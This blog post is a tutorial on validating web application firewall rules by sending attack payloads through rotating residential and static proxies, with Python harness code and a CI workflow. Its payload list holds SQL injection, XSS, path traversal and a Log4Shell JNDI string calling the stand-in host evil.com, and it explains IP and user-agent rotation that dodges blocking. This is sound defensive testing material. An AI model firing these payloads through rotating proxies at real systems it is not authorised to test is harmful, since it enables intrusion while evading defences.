Back to all posts
Testing WAF Rules with Rotating Proxies: Validate Blocking Across Geo‑Distributed IPs

Testing WAF Rules with Rotating Proxies: Validate Blocking Across Geo‑Distributed IPs

October 12, 2026

Why Test a WAF with Rotating Proxies?

A Web Application Firewall (WAF) is only as good as the traffic it sees during validation. Most rule sets are written assuming a single source IP, but real attackers distribute requests across thousands of addresses, often from different countries and ASNs. If you only test from your office IP or a single datacenter proxy, you miss:

  • Geo‑based rules – some WAFs apply stricter policies for high‑risk regions.
  • Reputation‑based scoring – an IP that has never been seen may be treated differently than a known‑bad address.
  • Rate‑limit thresholds – distributed low‑and‑slow attacks can bypass per‑IP limits.
  • Session‑aware signatures – certain rules trigger only after a login or cookie is present.

Rotating residential proxies give you a cheap, programmable way to generate traffic that looks like it originates from real users worldwide. By cycling IPs per request (or per small batch) you can exercise every rule path without triggering the WAF’s own IP‑block list.

Choosing the Right Proxy Type

Proxy Type Pros Cons Best For
Residential (rotating) High trust score, diverse ASNs, real‑user IP ranges Higher cost, slightly higher latency Geo‑distributed rule validation, reputation checks
Static ISP Consistent IP for session‑aware rules, lower latency Limited geo diversity Testing sticky‑session WAF rules (e.g., login‑flow signatures)
Mobile Carrier‑grade IPs, hardest to block Expensive, limited pool Edge‑case testing where mobile‑only rules exist

For a first pass, a rotating residential pool (≥ 5 k IPs, 30+ countries) covers most scenarios. Keep a small static ISP pool handy for the sticky‑session tests described later.

Setting Up Proxy Rotation in Python

We’ll use requests with a thin wrapper that pulls a fresh proxy for each request. The example assumes a provider that offers an HTTP API like https://api.proxyprovider.com/v1/proxy?type=residential&count=1 returning JSON { "ip": "1.2.3.4", "port": 8080, "user": "user", "pass": "pass" }.

import requests
import time
import random
from typing import Dict, Tuple

PROXY_API = "https://api.proxyprovider.com/v1/proxy"
AUTH = ("api_key", "")  # adjust to your provider

def fetch_proxy() -> Dict[str, str]:
    """Return a dict suitable for requests' `proxies` argument."""
    resp = requests.get(PROXY_API, params={"type": "residential", "count": 1}, auth=AUTH, timeout=10)
    resp.raise_for_status()
    data = resp.json()[0]
    proxy_url = f"http://{data['user']}:{data['pass']}@{data['ip']}:{data['port']}"
    return {"http": proxy_url, "https": proxy_url}


def make_request(url: str, payload: Dict, headers: Dict = None) -> Tuple[int, str]:
    """Send a single request via a fresh rotating proxy."""
    proxies = fetch_proxy()
    try:
        r = requests.post(url, json=payload, headers=headers, proxies=proxies, timeout=15, allow_redirects=False)
        return r.status_code, r.text[:200]
    except requests.RequestException as exc:
        return 0, str(exc)

Key points

  • fetch_proxy() is called per request – this guarantees a new IP each time.
  • Timeout of 15 s prevents a single bad proxy from stalling the suite.
  • Return (0, error) for network‑level failures so the test harness can distinguish “blocked by WAF” (4xx/5xx) from “proxy down”.

Building a Test Harness

A minimal harness iterates over a list of attack payloads, fires them through rotating proxies, and records the outcome. Store results in CSV for later analysis.

import csv
from pathlib import Path

TARGET = "https://app.example.com/api/search"
PAYLOADS = [
    {"q": "' OR 1=1--"},                     # SQLi
    {"q": "<script>alert(1)</script>"},      # XSS
    {"q": "../etc/passwd"},                  # Path traversal
    {"q": "${jndi:ldap://evil.com/a}"},      # Log4Shell
]
HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...",
           "Content-Type": "application/json"}

OUTPUT = Path("waf_test_results.csv")

with OUTPUT.open("w", newline="") as f:
    writer = csv.writer(f)
    writer.writerow(["payload", "status", "response_snippet", "proxy_ip"])
    for payload in PAYLOADS:
        for _ in range(30):   # 30 different IPs per payload
            status, snippet = make_request(TARGET, payload, HEADERS)
            # extract proxy IP from the proxy URL for logging
            proxy_ip = "unknown"
            writer.writerow([str(payload), status, snippet, proxy_ip])
            time.sleep(random.uniform(0.2, 0.6))  # polite throttling

What the harness captures

  • Payload – the exact malicious string.
  • Status – HTTP status (403, 406, 200, 0 for proxy error).
  • Response snippet – first 200 chars to see block pages or error bodies.
  • Proxy IP – optional, useful for correlating with WAF logs.

Run the script, then open the CSV in a spreadsheet or feed it to a Jupyter notebook for pivot tables: blocked vs. passed per payload, blocked vs. passed per country (if you enrich the proxy IP with a GeoIP lookup).

Handling Sticky‑Session Rules

Some WAF signatures only fire after a user authenticates (e.g., “malicious payload in a logged‑in POST”). Rotating IPs per request breaks the session. The fix: use a static ISP proxy for the whole login‑then‑attack flow.

STATIC_PROXY = {
    "http": "http://user:pass@static-isp-ip:8080",
    "https": "http://user:pass@static-isp-ip:8080"
}

def login_and_attack(payload: Dict) -> Tuple[int, str]:
    session = requests.Session()
    session.proxies.update(STATIC_PROXY)
    # 1️⃣ Login
    login_resp = session.post("https://app.example.com/login",
                               json={"user": "tester", "pass": "secret"},
                               headers=HEADERS, timeout=15)
    if login_resp.status_code != 200:
        return 0, "login failed"
    # 2️⃣ Attack with authenticated cookies
    atk_resp = session.post(TARGET, json=payload, headers=HEADERS, timeout=15)
    return atk_resp.status_code, atk_resp.text[:200]

Run the same payload list through login_and_attack() once per static IP (you can rotate a small pool of 5‑10 static ISP proxies to avoid a single IP being rate‑limited).

Interpreting Results

Observation Likely WAF Configuration Action
All 30 IPs return 403 for SQLi Signature‑based block, no geo/reputation nuance Good – rule works globally.
Only IPs from BR, RU, CN blocked Geo‑based rule set Verify business requirement; maybe broaden.
First 5 requests 200, then 403 Rate‑limit / behavioral rule Tune threshold or add challenge page.
Static‑ISP session gets 200, rotating gets 403 Session‑aware rule (e.g., only after auth) Ensure rule covers both authenticated and unauthenticated paths.
Proxy errors (status 0) > 10 % Proxy pool quality issue Switch provider or increase pool size.

Enrich the CSV with a GeoIP lookup (maxminddb or ipapi.co) to add country and asn columns. Then a simple pandas pivot:

import pandas as pd
df = pd.read_csv("waf_test_results.csv")
df["blocked"] = df["status"].isin([403, 406, 501])
print(df.groupby(["payload", "country"])["blocked"].mean().unstack())

gives you a heat‑map of block rates per payload per country.

Integrating Into CI/CD

  1. Package the harness as a Docker image (Dockerfile installs requests, maxminddb, your test script).
  2. Add a pipeline stage (GitHub Actions, GitLab CI, Jenkins) that runs the container nightly.
  3. Fail the build if any critical payload (SQLi, RCE) shows a pass rate > 5 % across any region.
  4. Publish artifacts – the CSV and a generated HTML report (via pandas-profiling or a custom Jinja template) – for the security team.
# .github/workflows/waf-test.yml
name: WAF Regression
on:
  schedule:
    - cron: '0 3 * * *'
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Build test image
        run: docker build -t waf-tester .
      - name: Run tests
        run: |
          docker run --rm \
            -e PROXY_API=${{ secrets.PROXY_API }} \
            -e API_KEY=${{ secrets.PROXY_API_KEY }} \
            waf-tester
      - name: Upload results
        uses: actions/upload-artifact@v4
        with:
          name: waf-results
          path: waf_test_results.csv

Best Practices & Common Pitfalls

  • Respect the target – throttle (0.2‑0.6 s) and limit total requests per run. Excessive traffic can trigger DDoS mitigations unrelated to the WAF.
  • Rotate User‑Agents – combine IP rotation with a small UA pool to avoid UA‑based fingerprinting.
  • Capture WAF logs – correlate your test timestamps with the WAF’s own audit log (Splunk, ELK, CloudWatch) to verify the rule ID that fired.
  • Handle TLS verification – if the target uses a self‑signed cert in staging, add verify=False (with a warning) or mount the CA bundle.
  • Proxy authentication errors (407) – treat them as proxy failures, not WAF blocks. Retry with a fresh proxy.
  • IPv6 – some residential pools provide IPv6 addresses; ensure your test harness can bind to both families (requests does this automatically).
  • Legal & ethical – only test environments you own or have explicit permission for. Document the scope and retain logs for compliance.

Extending the Framework

  • Automated rule‑generation – feed the CSV into a script that suggests new ModSecurity rules for payloads that slipped through.
  • GraphQL / gRPC endpoints – adapt make_request to send application/graphql or protobuf payloads.
  • Headless browser validation – for client‑side WAF (e.g., Cloudflare Turnstile) use Playwright with the same rotating proxy (proxy= launch option) to confirm the challenge is served.
  • Performance baseline – record latency per proxy; flag proxies > 2 s as “slow” and exclude them from future runs.

TL;DR Checklist

  1. Provision a rotating residential pool (≥ 5 k IPs, global).
  2. Keep a tiny static ISP pool for authenticated flows.
  3. Write a thin proxy‑fetch wrapper (fetch_proxy()).
  4. Build a payload matrix covering OWASP Top 10 + custom app‑specific vectors.
  5. Run 20‑30 requests per payload per IP, log status + geo.
  6. Enrich with GeoIP, pivot, and set pass/fail thresholds.
  7. Containerize, schedule nightly, fail CI on regressions.
  8. Review WAF logs side‑by‑side with test results.

By treating the WAF as a black‑box that must survive distributed malicious traffic, you gain confidence that rule changes won’t open blind spots for real attackers. Rotating proxies are the practical tool that makes this continuous, automated, and scalable.